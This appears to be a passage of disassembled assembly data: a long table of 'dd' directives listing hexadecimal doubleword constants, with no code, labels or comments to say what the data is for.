dd 0F7C2E4Ch, 0BA132150h, 0BBD36160h, 3BE32987h, 4701808Eh
dd 0EE663530h, 0A29BFC01h, 507DA5BDh, 0B8F23Ah, 5CE3DA6Fh
dd 814C78h, 0B0EC698h, 7D286FCh, 0D2E3625Ch, 1FB803FBh
dd 1CA9444Bh, 898938C6h, 5AB60065h, 479947Ch, 83899E5h
dd 518DEE5Fh, 0C7C1A85Ah, 412BBEAAh, 413D5E4h, 150981BBh
dd 65AB0506h, 551B05C1h, 31CABF5Dh, 6E5E50A0h, 558B7612h
dd 9145CC2h, 5409D2F6h, 0DF95FF44h, 0A92A040h, 19D70018h
dd 335FBBA8h, 18974F66h, 25BD0BF6h, 0EEC731A9h, 7D4E7E1Ah
dd 0F0E7BBCDh, 3B7554C1h, 3FEF742Eh, 6A870066h, 0CF2C7206h
dd 0F781016Eh, 7CBCA5EDh, 3F7A2FC6h, 7F29A04h, 1B66AA42h
dd 3D9D12B0h, 0C96DFF26h, 804A9A2Bh, 6B69A79h, 72CB0036h
dd 3B45C3Fh, 7094B59Dh, 5C34E909h, 0EF8A1669h, 0B66F0312h
dd 0E0B30571h, 0BE014AE5h, 0E28D0488h, 85494B11h, 9A3444E8h
dd 22C7ABDFh, 68B60AF9h, 8A2802F6h, 2B8076D5h, 45C2E261h
dd 0C4B4A49Ch, 6D977370h, 55E0E01Bh, 8000C743h, 23F38A12h
dd 9D0EA595h, 6FE11C4Eh, 0CCC0AADEh, 0A18EFE7Eh, 80D0BE04h
dd 0C281B585h, 9E2A325Dh, 5521920Fh, 1B357EEFh, 0D680B310h
dd 0EF54D7ACh, 0EBC00160h, 536B00F4h, 2A42B2E9h, 941CFC2Bh
dd 55820B8Dh, 0DCDE34CBh, 0D6C40006h, 3F954FA3h, 7C2A90C7h
dd 0E81FB523h, 70BFF5h, 899385Fh, 72B04FECh, 2F4CDE0Eh
dd 1EFB2061h, 0F4603A2h, 0E4C5D4D2h, 13D7F620h, 0CD000232h
dd 0FEC127B7h, 1FC0A695h, 6BF759h, 0A336F324h, 1800E57Dh
dd 5D4399FAh, 10BBC8h, 890E6785h, 280926D3h, 3CF8464Ch
dd 8742809Eh, 7CC101F5h, 0A8E43A41h, 8BFC1700h, 225AD4DAh
dd 1933F038h, 0B008C02Ah, 9CED219Bh, 6B28E0EFh, 38009EE2h
dd 982F5B6h, 39491E3Eh, 0CA18D081h, 0D7476083h, 456838D9h
dd 0D408D618h, 0C4D02256h, 0CEE943B6h, 11F0A7D4h, 0E16B543h
dd 0B7F93F06h, 0B05192E0h, 0FC30125Eh, 156230ABh, 875A0086h
dd 0DE27A91Eh, 0A2517BAEh, 6628849Ah, 0E386D3ABh, 0F41C0031h
dd 0D785483Fh, 7D3313A0h, 11108EFh, 3FFC4321h, 0E8541E19h
dd 0D8CF0702h, 64FD637Dh, 37790014h, 9EDA685Ah, 80198F70h
dd 3084096h, 52512180h, 7D711368h, 0FE907418h, 30827B88h
dd 8798A1B5h, 0E300676Bh, 69DFCCB8h, 65CF72h, 0EAC41E0Fh
dd 3ACDF9B5h, 116C4D00h, 10DA1A3Dh, 1B7DA7h, 8303D805h
dd 4332F6C8h, 962A8000h, 0C17302B1h, 5A280060h, 146918CEh
dd 3A6730A6h, 71608B64h, 28432Ah, 0EBD975Fh, 5C5ADF8Ch
dd 0FFD6A900h, 235DD12Bh, 0FD643ACCh, 0F93EA083h, 0AFA3C9E5h
dd 6C9CEAC8h, 0B2435B01h, 824B018Bh, 21DE0898h, 6C74948Ch
dd 1ACB431Eh, 0C940281Dh, 0AFA81289h, 41223053h, 0F15ECA28h
dd 0C794C002h, 0E3CE21DBh, 5B0830F5h, 0C0F98421h, 496D4C0Bh
dd 14BB8033h, 189C4A20h, 71CA80A0h, 81F04262h, 1040B533h
dd 0E558D0C5h, 2621C0C6h, 0F38546D2h, 0A3335600h, 82322F04h
dd 0E2DB1841h, 80F0A003h, 0BC0C7776h, 503ECFDFh, 8041D0A9h
dd 9D01F823h, 0BA435C6Ch, 8D88DD18h, 0AC6C0B95h, 1486643Ah
dd 0E40319CCh, 726378ADh, 606040BFh, 8E271B94h, 0BC0A10FFh
dd 80AC269Ch, 5B8F0C3Ch, 0C711209h, 412E42EEh, 21C0B608h
dd 0E20953E9h, 0C445009Fh, 4F863D13h, 0C8C0AB8Fh, 0D5CE1AC7h
dd 8DAA0020h, 0A3DDF8ACh, 2B304D9Ah, 705D8109h, 6A8E00F9h
dd 0EF66F7A6h, 0CE329784h, 30FCF88Dh, 58116C99h, 0D2889A43h
dd 6C918980h, 384C92Ah, 314BBF6Fh, 7FE3B706h, 709FBBD0h
dd 86FEA000h, 0CA675162h, 0CE477095h, 1E71D89h, 62B6F0F0h
dd 8E667EABh, 1C211308h, 19D44h, 6DBE7476h, 670C929Eh
dd 0E0D38E3Ah, 6A0A2880h, 199846A0h, 51120957h, 88B2A058h
dd 9074FEDh, 2432E71Bh, 1A3C7960h, 86660599h, 683C75Fh
dd 0B0A7C9A4h, 93078F46h, 1886F601h, 805C16C4h, 3354019Bh
dd 0D302887Ch, 0E7C9AC61h, 0F23C40F9h, 7EC88320h, 500974F3h
dd 20F84E0Ch, 1E3AC77Ch, 0BD9C0EEh, 4A5CF947h, 0C467703h
dd 53AE484Fh, 55A2A828h, 37B3930h, 0D3E92BD5h, 880C1066h
dd 50CB3E24h, 0F2048C52h, 0C3C797C0h, 83205662h, 1CFC0FAh
dd 558745D8h, 0CC636741h, 0BE502C36h, 1636129Ch, 1E8C8CBh
dd 4140E4CEh, 55A52A4Dh, 23043A94h, 9B0B001Ah, 638379FBh
dd 9205FD72h, 0A327AA09h, 0D41FEC40h, 1646868Bh, 1E76921h
dd 0A09F93DFh, 0BC82288h, 16194Bh, 8ACE8E2Ch, 0E3802847h
dd 284D18F8h, 71637101h, 0B5682909h, 0FA0899C9h, 6C089B18h
dd 0C4AA435Ah, 938F40D1h
dd 12A76Ch, 4F04647Fh, 2BFC3120h, 1854B8A1h, 95C008F0h
dd 5AC4D3C7h, 0C0F88540h, 1F00F7FBh, 434CABB6h, 2BF2C7Ah
dd 0CEE8E148h, 0D8675E90h, 0A260D044h, 9E00A852h, 22CD42ACh
dd 885ABAh, 0CB470248h, 432D4A08h, 49711700h, 4F30AED0h
dd 1DB0C3h, 0BE6069CFh, 49E4023h, 2C061A00h, 0DA87CEC4h
dd 734772F3h, 2240C13Fh, 808B0E8Ah, 2C0DE158h, 131CFE6h
dd 0C70A880Bh, 21DF662Ah, 80C0F118h, 6107EBA1h, 7399B4Fh
dd 199DE5F5h, 0D398FC24h, 4CCF4B40h, 0A420E088h, 0E622670Ch
dd 0B05E48E1h, 8462044h, 739A2400h, 40024D68h, 3382EA3Bh
dd 0CE1045ABh, 410D70F6h, 3007EAFBh, 599F2088h, 0B048D824h
dd 0D74674h, 50B041C2h, 70CCF7Fh, 0BEEBCB79h, 0F335D065h
dd 70C12FE6h, 49DF9250h, 0FF466806h, 556C9602h, 0BCC78243h
dd 6C8E8A01h, 0A9C5C567h, 14AE8424h, 2859B3BAh, 48736062h
dd 44FE4100h, 0AE211EF1h, 5600BF59h, 14FD6AF2h, 0A538550Fh
dd 571180BFh, 253FE338h, 0A41F01D3h, 0E0CCAE20h, 82A7E05Dh
dd 836C5000h, 0DA8A95Fh, 0A1080E95h, 1A40CD2Ch, 0E454234h
dd 4070BB00h, 62A9C048h, 0E71C003Bh, 81C5A3FEh, 59182DE3h
dd 0DB303834h, 8E43000Ch, 236B0A08h, 8D0133FDh, 5DAD03B0h
dd 5887AE12h, 506D508Bh, 68D3D8D2h, 0E8523C00h, 49586B2Dh
dd 0AD18C014h, 565CB459h, 1BB32A07h, 80D807A7h, 5259737h
dd 71F0BC54h, 0E427D000h, 0BB863BFAh, 0C7B70087h, 0D7851702h
dd 0FF0193D3h, 0F7CDA6Ch, 0A9803934h, 8DC40E7Ah, 45006520h
dd 0A270A054h, 9D6697h, 0C88CD726h, 36E5688Bh, 5E8E80h
dd 0E62E5C53h, 112F1E83h, 7B8F3Ah, 0A1FA3561h, 391A33h
dd 4BF96621h, 4360D080h, 761E737Eh, 87FECBCDh, 0C4FE4954h
dd 0E0EE1642h, 1EC2E77h, 0F9AE4E04h, 8034ACB3h, 235CD029h
dd 0C5D4937h, 0B5B15042h, 21C0DD08h, 0A023A4F7h, 75D6079Ch
dd 704E78F3h, 60CA9312h, 0C30542Eh, 3F388739h, 2A40D459h
dd 6396CD3Eh, 577470F0h, 36D74806h, 8906EC4h, 9C9ACD3Fh
dd 0C3693018h, 0FB28A071h, 930E30DDh, 38FE3320h, 9C386A60h
dd 60D18754h, 37462962h, 0FD125C77h, 0FB0CD438h, 0C04B0810h
dd 77FFA321h, 45002705h, 137E1E15h, 18FB591Fh, 60F42AF5h
dd 8006CAAh, 1CCFB032h, 3DE5A54h, 8ACAB27Bh, 0D3B8FDE1h
dd 30062A60h, 0CF99F0F8h, 71C70010h, 0B54711CCh, 0DD09C396h
dd 81BBF508h, 344EC484h, 0CFDC1CF1h, 84110045h, 5C389EB4h
dd 9D009331h, 91399A72h, 541F88Ah, 0DD63A901h, 7BAA00C0h
dd 8404D0A2h, 990ED90Fh, 155660EBh, 0C07C9Eh, 0BF4F6ADCh
dd 40B4D5EFh, 0D2924500h, 2764702Eh, 827901h, 13AE10B2h
dd 7B0F30DCh, 9C096E12h, 5AFD2E00h, 1CC0C2Eh, 2CD68978h
dd 0D0C54EC1h, 5300C331h, 83B2D3E3h, 4B4A33h, 3CB5C87Ah
dd 11EFE237h, 6570900h, 0BEB7E3D0h, 0C24A124Eh, 80881E40h
dd 0CC54C1Fh, 0B07B1EE7h, 0AEE10136h, 5E760360h, 0DD1F79A6h
dd 46C7C4B0h, 874C1D3Ah, 4006A8E7h, 20ACBEB7h, 0EC3205C1h
dd 38E6AD69h, 6346D620h, 0ABD95701h, 80D8C096h, 0FD13E530h
dd 0C0D761Bh, 1D3E42DEh, 0D960E908h, 0FD6BBB20h, 110E0954h
dd 69035375h, 4823BFF2h, 0FD1400ACh, 0DD35761Ah, 0BCE24486h
dd 73FD6C00h, 5BC75CB9h, 0A7FA65h, 66405DA8h, 0BEB6C18Ch
dd 3E05371Dh, 0D7DD1E85h, 0A9F8B840h, 3F42AD8Fh, 5933627Dh
dd 2100D409h, 398FB218h, 0E8EA5Dh, 46EBDB6Bh, 81753BF0h
dd 3A56760Ah, 191D884Dh, 0A55DF400h, 6D8C542h, 0A1AB4E57h
dd 0E1F048C0h, 121D1870h, 0C6B33D77h, 0E808310Dh, 0C010BB21h
dd 100DBD0h, 3399CDDFh, 2A0658F9h, 0CEF4F08Ch, 88908B60h
dd 106C7B5h, 180D7710h, 1E8188E9h, 272C45E0h, 0F4052B20h
dd 0B047FA36h, 3A502304h, 6EC5A1F7h, 37A0304Fh, 282C5ECDh
dd 9C1E037Fh, 0F0D8BF4Eh, 7BA66351h, 0CF4B00B6h, 6A1AF5EBh
dd 0CBE2F240h, 0BCEAA100h, 3E46980Eh, 0BE70387Fh, 6DC51486h
dd 0C10061DAh, 0A698A26Eh, 19FD5931h, 881C9BDh, 0D218350h
dd 0E02498AAh, 28064287h, 30849044h, 28B9FC96h, 0AF008298h
dd 379E2272h, 0FF96A62h, 0C111FAACh, 423AC920h, 1314599Ah
dd 10A0897Bh, 1D7C49F8h, 1F3BAC61h, 4D5E0FA6h, 0E6F8DC94h
dd 7B9008Ch, 0B586A298h, 28096782h, 20F19054h, 0B3569550h
dd 12E100ABh, 0DA299A02h, 167FDB75h, 65F0E500h, 5B58F2BBh
dd 5C32195Ah, 0FC219843h, 4B0CBFD6h, 70BD1D41h, 79F660A0h
dd 0D6ABD537h, 883FD00Eh, 65392FCBh, 90309298h, 0C95150h
dd 3010D374h, 2DEF3E23h, 6FA65A0Fh, 558DA25Ch, 593060A1h
dd 0FB61C8C1h, 79811480h, 30CE1F41h, 0BF906FCDh, 56EEF4A0h
dd 0E8F8D9D4h, 4F188CF1h, 7A7127DDh, 1910099h, 1DB046B9h
dd 1F3CFE1Ch, 0CFD980E4h, 0BB39EB0Eh, 4C5C50F4h, 8EC4137Ah
dd 0A77409C1h, 0FC885982h, 3E20F040h, 4E1D3176h, 5392C318h
dd 7A84245Eh, 0C81E906h, 402464A1h, 36E41A78h, 0BC0048DCh
dd 739ABFFFh, 0BE49C103h, 0F5EDA1Ah, 10C62841h, 25E0E56Eh
dd 789657CEh, 0E653Dh, 77FCD664h, 0ACC7312h, 4C1EA88Fh
dd 0EC46748Ch, 90CA3100h, 8A62304Fh, 0C3B0C061h, 8985B57Bh
dd 41DB794Bh, 686E5F9Ch, 0BBF880F8h, 9066F735h, 39090E0h
dd 3DC305CDh, 382EBF52h, 8902D837h, 40D78220h, 0D2F17A28h
dd 19880849h, 0A68FAAC0h, 22B54642h, 0AF190F2Bh, 9160AC8Fh
dd 0A6567876h, 50806C4Ch, 3A16FB10h, 0BD021B86h, 0A1BE973Dh
dd 0EC566AC0h, 61C80205h, 24413969h, 8CAF0C70h, 7FD6F04h
dd 7F386D76h, 66FD6712h, 0D4EA9841h, 1024F5A1h, 74E80ED1h
dd 0EC6042D0h, 788304F3h, 60415E24h, 3E40AC64h, 52AF0C94h
dd 28883148h, 8E4CB04Dh, 517E3208h, 0ACF5C378h, 58D61480h
dd 0C49CA7C2h, 0B94D60D0h, 1B723691h, 7B7E6188h, 0F163361Dh
dd 0CD529600h, 0D5444Fh, 3B916155h, 40A69B78h, 0C5FB3400h
dd 9638C2D9h, 4AE22C46h, 593CABC4h, 0A0FB18F1h, 6BE38A4h
dd 9031B3D2h, 70E21F4h, 20569B64h, 0B921F6DFh, 0D5F304E9h
dd 888F7E10h, 0C540AE34h, 167A1451h, 580AF4FCh, 3DA49689h
dd 0FBEC49A0h, 4CEE2D7Ch, 3EC4500Dh, 0C30392Eh, 0A6048C69h
dd 0B931AA98h, 9205A62h, 5298AEh, 7402E5A8h, 688D6E27h
dd 0BE7DC870h, 40AD6224h, 4C4C4315h, 499961DAh, 2095B042h
dd 672340C7h, 4498A80Eh, 5D62A931h, 98B00F20h, 804B4893h
dd 265E0610h, 4408A85Bh, 0C21208BEh, 0D8764102h, 0CECC41F5h
dd 0C9593020h, 24190220h, 72A41813h, 4542108Fh, 97D1C86Dh
dd 40581E1Bh, 3AA4AEAAh, 0CC127A98h, 500FE646h, 68366578h
dd 0C04D4801h, 0C4416DC4h, 38084EF1h, 833CA15Ch, 8976F20Fh
dd 389562DAh, 0C100D809h, 33129EE7h, 0C860D646h, 65073A81h
dd 0C2712E41h, 63AF6444h, 776E8004h, 0EA448C1Dh, 1C707Fh
dd 0C29C4518h, 72502A7Bh, 41C7E49h, 0B5A078A8h, 75BB7C80h
dd 79D8B93Fh, 0EFF8192Eh, 0A203000Bh, 23637D5h, 60C0E03Dh
dd 0B52C0645h, 35BE03BCh, 0A3ABF072h, 1DE070E0h, 0BD0C5B02h
dd 802AF6CDh, 28498A8h, 0C9BF0090h, 573D9EFCh, 0B6074D3Ch
dd 0A35CC0Eh, 0C40AD26h, 0AB017645h, 34725758h, 0D04DDA00h
dd 7820A97Ch, 91F47B81h, 0BA4500CCh, 2E32C90Dh, 0A38F84Ch
dd 0A849405Dh, 0E7467Ch
dd 0FCD984D5h, 2A26284Fh, 1D8829D6h, 4CA85136h, 96CACE35h
dd 7ABB093Eh, 1BB3B800h, 7FFC76FBh, 4C200105h, 4F108577h
dd 0B3B8480Dh, 0E8DCDB5Ch, 0C0008C46h, 0DBF08011h, 0C3DA7C4Bh
dd 0B6D98D51h, 89DD290Fh, 0FEEF40EBh, 901977E5h, 75C1D0Ah
dd 0CC09BCA4h, 6C25C46Ah, 0AE8C0899h, 110101C7h, 34237577h
dd 198287h, 32F77835h, 811BD728h, 4E36124h, 0B04ED804h
dd 0E62078B7h, 70053709h, 82E442C0h, 0D52AB0h, 0FFA25672h
dd 0C4DD2101h, 3D11A89Fh, 0E988BC2Dh, 0E1207114h, 0A218FEBFh
dd 0E635377Ch, 0B0C898F6h, 0FB570095h, 0BF12D9A9h, 653F8F22h
dd 3A3B80A0h, 0E0DB53C6h, 10A4B025h, 2D8F7C3h, 306E42A5h
dd 2E3860EDh, 0F43A0C9Eh, 3E21FBCEh, 0C2378800h, 897519A7h
dd 6E76138Eh, 0CC18234Ah, 60299BF1h, 0A00ACA3h, 2530EB3h
dd 1D4D05B9h, 1244F19h, 96D99549h, 4EE45079h, 80E8229Ah
dd 0F8616C98h, 6A5A67C8h, 940ECC8h, 0EB790ABAh, 283EC020h
dd 5CBABE47h, 70204178h, 2CF0AECh, 0A6D0E579h, 0E611D4h
dd 12FF5E72h, 9B1DDDCh, 0AC4D7A35h, 8168BC04h, 642CB624h
dd 64846BD0h, 259D28BEh, 6B11D080h, 0B54D03D9h, 0EE546EB4h
dd 64B27872h, 1C0C6045h, 197C60DAh, 3E46B50Eh, 0F490F77Eh
dd 0FD981E64h, 0E26ABB20h, 57C09567h, 8521B5C6h, 8836475Ch
dd 95756D00h, 3EB06CAEh, 0F9247810h, 0BFA109CFh, 4503E468h
dd 24C1F42Ch, 0BBC48E07h, 363AC720h, 60DAF642h, 2F7FB154h
dd 0CE00EC5Eh, 0B978C8D7h, 0D7569B3h, 0F770B08Fh, 0FDEC4D51h
dd 20953120h, 7C1EC310h, 3B9C4BDh, 0A980C007h, 150CF03h
dd 0C0837A4Ah, 1B025F79h, 0F1E414A7h, 0A0DCFF28h, 408A46F4h
dd 80ADA28Ch, 0C8138AE6h, 0AC6DC69Bh, 48EF0C61h, 0BB10B079h
dd 0A64384A9h, 0D9AC8274h, 0C600F4C4h, 5DFAF95Eh, 147AD406h
dd 0B0296EC4h, 423BA400h, 3F046D81h, 24648214h, 0BC234EB8h
dd 8E2FD02Dh, 0EBB900ECh, 8892EF26h, 251DBDB7h, 20DF5C1Ch
dd 104F8084h, 347874D0h, 50C04DBAh, 11B4D424h, 0C41500BFh
dd 6E5E8E42h, 77561E32h, 9CBE00A0h, 0DD439410h, 0E700D099h
dd 1A3005FCh, 45580072h, 2124735h, 6401C7C0h, 5611F533h
dd 0F8C35AA3h, 71B696AFh, 7ACD3DCEh, 0C610DC58h, 0AA42004Eh
dd 0B6E02E3Ch, 670AF48Eh, 8821941h, 3D0DC096h, 0D074195Dh
dd 4410B84Eh, 0CC1278F0h, 4C48F9F6h, 0DA0880E1h, 168C4D75h
dd 0A134EF17h, 3ED22820h, 93AA003Bh, 4A692E20h, 0E30F2696h
dd 0A5835510h, 0E84015DAh, 2797AAD1h, 6CE900A1h, 4289D9B8h
dd 2E004BDFh, 12AF50B6h, 55A517h, 479A3268h, 5F7C49EEh
dd 81521F01h, 17AF7ADFh, 0BF3901D3h, 24EA0B06h, 0A531C007h
dd 0AD1818D3h, 32DF821h, 73A41A54h, 0E6908D70h, 9D17B0DCh
dd 0C800D47Bh, 25791119h, 3B1F71B9h, 1A865EB5h, 70774A87h
dd 0F366021Dh, 1C7BD703h, 7548B5Fh, 0FFEB0E19h, 0AF1A30D3h
dd 56887886h, 0B8E30BC7h, 638E484Ah, 8B3C4060h, 7600932Fh
dd 710EDC10h, 362A8A7h, 43CBB315h, 0F81FB4D2h, 0F400CD5Bh
dd 62598A42h, 0FD6E01C5h, 0DDB9E9E0h, 9001D2EEh, 0E0BE8CB7h
dd 182C101Fh, 0FFE5067h, 58FC9600h, 12B9DAE4h, 0BAB200EAh
dd 0E018F67Fh, 1031B44h, 39FA932Dh, 870830D5h, 44C97921h
dd 0A58B6503h, 1B6EBE4h, 16CE5B19h, 0D41C401Dh, 5588B9E8h
dd 5FA3009Dh, 0F4AF90Ah, 91E5EEA1h, 0FB801179h, 0E5011C44h
dd 7295448Ch, 5D44E400h, 0F0AD61D2h, 0D1F40003h, 931EA391h
dd 0F2903E01h, 0BED96718h, 0D0D71460h, 8DB83438h, 438E0F8Ch
dd 0F7E06C3Ah, 535D0315h, 0B820A061h, 0DEC0D5BAh, 0E198074Bh
dd 50E25EECh, 137F8CBCh, 29965C30h, 1251A9Ah, 5AFC1151h
dd 98F339BDh, 0F921BE08h, 0B2250012h, 1FF11B4h, 4000585Fh
dd 433B1031h, 6B334BAh, 0CCA40CE1h, 1C466185h, 4A250D02h
dd 131CE411h, 1F2505E0h, 5E064060h, 0DB7B61A7h, 80783E90h
dd 281F371Fh, 49E03380h, 619B143Ah, 6D22E8B7h, 46CFF90Eh
dd 0CAE0883Ch, 406B80h, 0E23EA7ADh, 0BAEF23D2h, 0E74BC80Eh
dd 129A63D6h, 844887Dh, 13CCF51Bh, 0CCB002h, 0F3898406h
dd 5FD55E6Eh, 0F8D470Eh, 597E80CCh, 0AA923Ch, 0E1C09F96h
dd 0DC4E61C5h, 0E607E200h, 0BF164BA2h, 83960356h, 7378E45Dh
dd 0E0BCAB98h, 0CF0F38h, 0AA1B9350h, 1AC915h, 5D98F7DFh
dd 5A743D14h, 4207F47Ch, 93973AE2h, 10A8E180h, 24D10186h
dd 0F1A248D8h, 0F38C31C1h, 0E9E868D0h, 9A46060Ch, 0A38ACDh
dd 0E4B4D5EDh, 0C1EAC3D7h, 4BFFF29h, 0C30601FFh, 0BFE71321h
dd 341B1811h, 0E68920h, 0D2C6FDB3h, 24DD574Dh, 0E4FBD70Fh
dd 3DFFE0DBh, 1945B82Ah, 29C0DE89h, 20CA08A1h, 0E9422083h
dd 11B10411h, 5E215A95h, 882F3508h, 0A9908CC9h, 214BE982h
dd 35216104h, 207D1229h, 0A36A20Dh, 0E9AB4E0Eh, 1AEFA052h
dd 4AB465h, 87912444h, 28F0E7F2h, 1D374B00h, 0C274307Ah
dd 8B140035h, 0C779C0F7h, 0EF077E88h, 0F9E640B5h, 38E81F01h
dd 558FFCh, 0D923E090h, 7B43756Eh, 5C0E6C90h, 0E0CECDD2h
dd 6397AB04h, 96C403D7h, 6BC6508Ah, 0F98B2801h, 0B60316B1h
dd 50F5170h, 85FB005h, 0DF0800BCh, 0CED76846h, 75D4B500h
dd 30AB802Dh, 10391D16h, 5D548318h, 29BB2FE1h, 6A74BEA8h
dd 321DD400h, 8A89913Dh, 0E12A0043h, 0DE78CC6Bh, 87019574h
dd 3B440241h, 0F3C0A359h, 0AE0605D5h, 4F09A89Fh, 990E52FCh
dd 4F4C60A0h, 0CCE81549h, 19D62903h, 0BB62CD55h, 0E6600088h
dd 0BB7CDEDBh, 693F5722h, 28A0249Ch, 90B315h, 27D2B97Bh
dd 7B7EABDDh, 95060024h, 3DA75CC6h, 6A347D11h, 0C0AAE873h
dd 0A2CAD21Bh, 540A4D7Ah, 988C86F7h, 7E09BF00h, 20F98Dh
dd 0A194E318h, 0DF5F487Fh, 916E5B0Dh, 0C1D2FEE7h, 60CC4146h
dd 0ECD073Fh, 0A3BDAD4Dh, 73F006EDh, 0C6004EE7h, 96336D5Fh
dd 350AACCh, 0A5CA117Ch, 1884369h, 520058F2h, 5F2B3526h
dd 679722h, 0F8CCDFDh, 3669DF16h, 0AC173801h, 0FA297293h
dd 144A870h, 4A925D95h, 20328870h, 4E49C99Ch, 0CA8C0F28h
dd 0ECCDA7BDh, 34E5BC50h, 1F980291h, 9FA05007h, 8154958Ah
dd 0B21605F0h, 81001528h, 0A612F5ECh, 20FB0055h, 6CDAD0A1h
dd 8100B932h, 0A2D573F6h, 1EC0B284h, 4FA54F27h, 24C01056h
dd 0A35492F2h, 1C621424h, 0F3235500h, 71EDE3h, 0FCE55FECh
dd 43CC208Fh, 0DC800900h, 794D88A4h, 1BEA3BC0h, 220E8A01h
dd 34781174h, 2E056818h, 95E61925h, 679EF460h, 15BF00C0h
dd 47264F8h, 0AC00EFA8h, 7DB6EE52h, 0CA2ECFh, 848109E2h
dd 3C54D32Dh, 0F603F775h, 1D1A839Fh, 73D5A0BCh, 0CFF869h
dd 8FAC64Fh, 386C8DFBh, 18F0F103h, 0D181F84Dh, 5CE8B062h
dd 45F0728h, 0C0F20216h, 0CAD943C2h, 0F7612907h, 91E0DB8Ah
dd 3DBCE5CBh, 0EF005DC6h, 2B3D856Fh, 0FB007CAAh, 72B029BBh
dd 1179654h, 0A74D1F64h, 0FC5056EEh, 0F01D5DBAh, 8826A2A8h
dd 8E69F580h, 80C029h, 0FA4CF1D6h, 324BAEB9h, 91000698h
dd 44332473h, 1D0E6734h, 0C013F665h, 2C9F7EA1h, 9DF64840h
dd 0D3109B0Eh, 0ECD92ABEh, 80F0F484h, 0FF3F2D80h, 9898A074h
dd 53840082h, 95B9BC14h, 913BFD63h, 3000F99Dh, 0D3C5F62Eh
dd 0FB40CEh, 77A1CA35h, 8A1E31E2h, 0F8040600h, 51AEEE54h
dd 0EC9C005Ah, 0B565C601h
dd 0B80055D7h, 73CDA143h, 226202Fh, 192BB1BFh, 0FC404FC3h
dd 74269EF9h, 9A892802h, 7C49005Dh, 34FACCAh, 1AE49DB7h
dd 20009084h, 0C23B926Eh, 36AF20h, 1F3CBCF4h, 72CA9DE6h
dd 0C6DB7D04h, 7C801C2Fh, 12245C7Ah, 4FFBB07h, 0D0F9533Ch
dd 0EA8A340h, 0B62E6F00h, 2DA25D16h, 3D16B821h, 304C14E1h
dd 0BFE2CC01h, 0DC9DCDCFh, 1F07D562h, 0FF07762Ah, 0F01811E0h
dd 0BBB40EA1h, 25A72190h, 3831F0E4h, 0B000D81Fh, 62224379h
dd 183FD55Fh, 28EFA015h, 0F100A977h, 507DC5A4h, 6F3932h
dd 761B5417h, 0EEF3E8AEh, 0AC181900h, 0FD0644A8h, 7D651E9Eh
dd 0A2124033h, 16E53FA4h, 7975A000h, 0FF12E13h, 8E6C32AFh
dd 0D0403909h, 9100D3BAh, 8AE19CFAh, 0E87CE0h, 0DB3E850Bh
dd 0B37E4C59h, 649248h, 87F1441Ah, 180F37h, 9FC55B11h
dd 0B0CDA4C2h, 82B7A006h, 0FA404107h, 1A1B007Fh, 4BDDF80Fh
dd 76009F49h, 168A432Fh, 0EC082E38h, 4EF60777h, 10ADF05Bh
dd 0B280E270h, 81AA503Fh, 6AF1D512h, 1CD889CCh, 0EE9A019Fh
dd 0FF30529Dh, 0D42BE4BEh, 4A61DB03h, 0F9C38892h, 32D8B415h
dd 0C9371E29h, 90469850h, 7972FC12h, 0AAD7C00h, 47741188h
dd 1CEF0010h, 890C84A4h, 0D100FBF7h, 394CC164h, 345601D5h
dd 8022B8AEh, 43621DB5h, 9E6D639h, 3F2D041h, 0A82CC36Ch
dd 0B255B9h, 0E4FA6405h, 0E0FE51BBh, 38985C31h, 40CA0922h
dd 3DC3CE28h, 0CB30BCAAh, 1085C488h, 48BA9A0Ch, 0DDD0D4h
dd 5DAED75Fh, 1F33826Eh, 96766000h, 5E672A68h, 0FC364840h
dd 5366311Eh, 7192005Dh, 95C5B8E5h, 3DE7B200h, 78CD791Ah
dd 683700D0h, 61115338h, 1DFEDFFAh, 604B9E00h, 0A4AA4C5Ch
dd 9147BF7h, 0E1D66E0Ah, 0C3F8FC00h, 0B4003274h, 0B12B3182h
dd 1EC0DA37h, 35A71A4Ch, 12A580C8h, 1F000F6Dh, 624A355Ah
dd 3D9AE2h, 0B3FA2AEAh, 8F306C2Bh, 0BC2F8738h, 9E6B0FF3h
dd 94A600FFh, 0DF518Ah, 0AC61CC56h, 0D50ADD34h, 13DCED48h
dd 14300588h, 267C5259h, 4008C2h, 4BF2CCD3h, 8501DEB9h
dd 0EBE42AD4h, 40F00FBEh, 0ED8A0978h, 188F5314h, 3C7BE660h
dd 6724D9D1h, 0E013102Fh, 18E6045Fh, 0DA25A900h, 0B8D50Dh
dd 14911162h, 5DF77D2h, 1C431807h, 0EFF054F0h, 0AD3FEh
dd 97E65B0Dh, 65FA5AA4h, 5028CF00h, 1B116B14h, 2220099h
dd 9362BA4Eh, 0E00B68Fh, 74FCB9EFh, 2D95DE3h, 825709D0h
dd 30601FF3h, 85006DA1h, 32C8349Dh, 2FB6BBEh, 36F8710Eh
dd 9EC12FB8h, 0C48BC8F3h, 5102BC01h, 0F51FA385h, 17E8D4h
dd 532D1CFAh, 3938DA88h, 0F322401Ch, 94F41F01h, 8864B2A2h
dd 0D9EC1C03h, 0A6340024h, 6C7F2E9Bh, 817D9801h, 0FDAC82D1h
dd 67F5D4h, 0A2160D9Ah, 91760FFFh, 6450E600h, 23E5D362h
dd 869800AFh, 693B3120h, 0D470FBEDh, 9A61F403h, 0A8161868h
dd 170A4Fh, 828E0D95h, 3D3A675Dh, 0A6408B00h, 99D015B2h
dd 9DEC1F43h, 42484062h, 73DAFEAAh, 1C240A0Fh, 99978027h
dd 1AC705Ch, 2B5DA553h, 0DC695449h, 5F00C4CBh, 8B1D67B2h
dd 48174814h, 0F30C1CB1h, 3221D4E8h, 0C20084ECh, 70F603DBh
dd 0A81A29h, 0EBD0C56Fh, 0E926C6DEh, 2B006490h, 66B13DF9h
dd 0FD7A5EC3h, 5D8DC8h, 0EED04E21h, 0A3148C57h, 0C403BE70h
dd 0FFDF6833h, 9BCBF1h, 0B34AEE2Ah, 487430E9h, 0EA1CE50Ch
dd 160290D1h, 60F7F833h, 15BB4478h, 0A9CEAF00h, 0C607E263h
dd 2E030054h, 93A56E76h, 1300BDC3h, 0ED6527CAh, 39A3E9DEh
dd 90006178h, 23876A32h, 0A900C826h, 3A377DDCh, 3818F0Fh
dd 0E232085Eh, 0D800C662h, 0E699AE7Ch, 936D36h, 5F60D37Fh
dd 81C98B34h, 4C2BA500h, 9701E375h, 0B8F40Ch, 0F32162BFh
dd 997CB120h, 4E53CF00h, 0C240D998h, 0A8200EFh, 0C7AFE449h
dd 2C00F16Eh, 0BBBC4E1Dh, 3CBFBE1h, 513F6856h, 0EEE57F8Fh
dd 63F16100h, 0BDD6FB2h, 0A4F89324h, 0BC4D9800h, 0EE00F579h
